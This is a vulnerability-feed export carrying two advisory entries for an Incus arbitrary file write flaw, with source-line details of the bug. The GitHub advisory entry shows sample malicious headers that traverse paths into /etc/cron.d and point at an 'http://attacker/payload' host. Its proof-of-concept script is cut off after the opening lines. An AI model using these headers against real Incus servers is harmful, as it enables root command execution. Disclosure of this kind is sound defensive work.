<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T17:39:06.244315+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-48769</id>
    <title>CVE-2026-48769 — Incus has an arbitrary file write on its client due to trusted image hash</title>
    <updated>2026-10-04T17:39:06.270036+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> lxc incus</p>
<p>Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-48769"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-f6m5-xw2g-xc4x</id>
    <title>GHSA-f6m5-xw2g-xc4x — Incus has an arbitrary file write on its client due to trusted image hash</title>
    <updated>2026-10-04T17:39:06.270131+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/lxc/incus/v7/cmd/incusd</p>
<p>### Summary</p>
<p>An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.</p>
<p>### Details</p>
<p>- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias`  and `Server`.
- `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string.
- `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`.
- `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file.
- `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated.
- `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.</p>
<p>A malicious image server returning something along the following will cause the arbitrary file write.</p>
<p>```
Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload
```</p>
<p>### PoC</p>
<p>The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.</p>
<p>The following script was generated by an LLM.</p>
<p>```
#!/usr/bin/env python3
"""Direct image…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-f6m5-xw2g-xc4x"/>
  </entry>
</feed>
